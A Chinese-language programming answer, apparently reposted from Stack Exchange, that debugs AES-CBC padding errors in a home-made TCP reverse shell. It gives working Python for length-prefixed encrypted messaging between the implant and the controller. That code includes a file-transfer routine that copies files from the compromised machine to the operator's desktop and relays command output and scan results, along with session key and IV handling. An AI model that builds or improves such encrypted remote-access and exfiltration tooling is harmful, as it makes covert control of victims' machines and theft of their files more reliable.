AES加密TCP反向Shell文件传输填充错误问题求助
解决AES加密TCP反向Shell文件传输的填充错误问题
问题根源
填充错误的核心原因是TCP流式传输的粘包/拆包特性:
- AES-CBC加密后的数据长度是16字节的整数倍(PKCS#7填充规则),但
recv(1024)会随机拆分或合并数据包,导致服务端接收的不是完整的加密块,解密时触发填充校验失败。 - 文件传输时,客户端发送的文件分片加密包与末尾的
DONE加密包可能被粘在一起,服务端按固定1024字节接收后,无法正确解密混合数据。
修复方案
1. 实现带长度标识的加密数据传输
通过在加密数据前发送固定长度的数据包长度(4字节大端整数),让服务端精确接收完整的加密块,从根本上解决粘包/拆包问题。
客户端修改
- 导入
struct模块,新增加密数据发送函数:
import struct # 新增导入 # 新增:发送加密数据前先发送长度标识 def send_encrypted(s, data): encrypted_data = encrypt(data) # 把加密数据长度打包为4字节大端整数 length_pack = struct.pack('!I', len(encrypted_data)) s.send(length_pack) s.send(encrypted_data)
- 修改
transfer函数中的发送逻辑,替换所有直接调用encrypt后发送的代码:
def transfer(s, path): if os.path.exists(path): f = open(path, 'rb') packet = f.read(1024) while packet != b'': try: send_encrypted(s, packet) # 改用带长度标识的发送 packet = f.read(1024) except Exception as e: print(e) break send_encrypted(s, b'DONE') # DONE也用该函数发送 f.close() else: send_encrypted(s, b'File not found')
- 客户端其他发送加密数据的地方(如
cd、命令执行结果),全部替换为send_encrypted(s, result)。
服务端修改
- 导入
struct模块,新增加密数据发送/接收函数:
import struct # 新增导入 # 新增:带长度标识的加密数据发送 def send_encrypted(conn, data): encrypted_data = encrypt(data) length_pack = struct.pack('!I', len(encrypted_data)) conn.send(length_pack) conn.send(encrypted_data) # 新增:按长度标识接收完整加密数据 def recv_encrypted(conn): # 先接收4字节的长度标识 length_data = conn.recv(4) if not length_data: return b'' data_length = struct.unpack('!I', length_data)[0] # 循环接收直到拿到完整的加密数据 encrypted_data = b'' while len(encrypted_data) < data_length: chunk = conn.recv(data_length - len(encrypted_data)) if not chunk: break encrypted_data += chunk # 解密后返回明文 return decrypt(encrypted_data)
- 修改
transfer函数中的接收逻辑:
def transfer(conn, command): print(command) send_encrypted(conn, command.encode()) # 命令也用带长度的发送 get, path = command.split(" ") f = open(f'/home/{server_user}/Desktop/' + path, 'wb') while True: bits = recv_encrypted(conn) # 改用带长度标识的接收 if bits.endswith(b'DONE'): f.write(bits[:-4]) f.close() print('[+] Transfer completed') break elif b'File not found' in bits: print('[-] File not found') break else: f.write(bits)
- 服务端其他接收加密数据的地方(如命令执行结果、扫描结果),全部替换为
recv_encrypted(conn)。
2. 修正密钥处理(可选,避免潜在问题)
确保RSA解密后的AES密钥无多余字符:
- 服务端生成密钥时添加
strip():
key = ''.join(random.choice(string.ascii_lowercase + string.ascii_uppercase + string.digits + '^!\$%&/()=?{[]}+~#-_.:,;<>|\\') for i in range(0, 32)).strip()
- 客户端解密密钥后添加
strip():
AES_KEY = AESFunc(AES_KEY).strip().encode()
3. 优化IV安全性(可选)
固定IV存在安全风险,建议每次会话生成随机IV:
- 服务端生成随机IV并先发送:
# 服务端connect函数中 IV = os.urandom(16) conn.send(IV) conn.send(AESFunc(key.encode()))
- 客户端接收IV:
# 客户端connect函数中 IV = s.recv(16) AES_KEY = s.recv(1024) AES_KEY = AESFunc(AES_KEY).strip().encode()
修复原理
通过长度标识让服务端精确接收完整的加密数据包,确保每次解密的都是符合AES块大小的完整数据,彻底避免因TCP粘包/拆包导致的填充校验失败。
内容的提问来源于stack exchange,提问作者Haili Sambrano
相关产品推荐
相关产品推荐

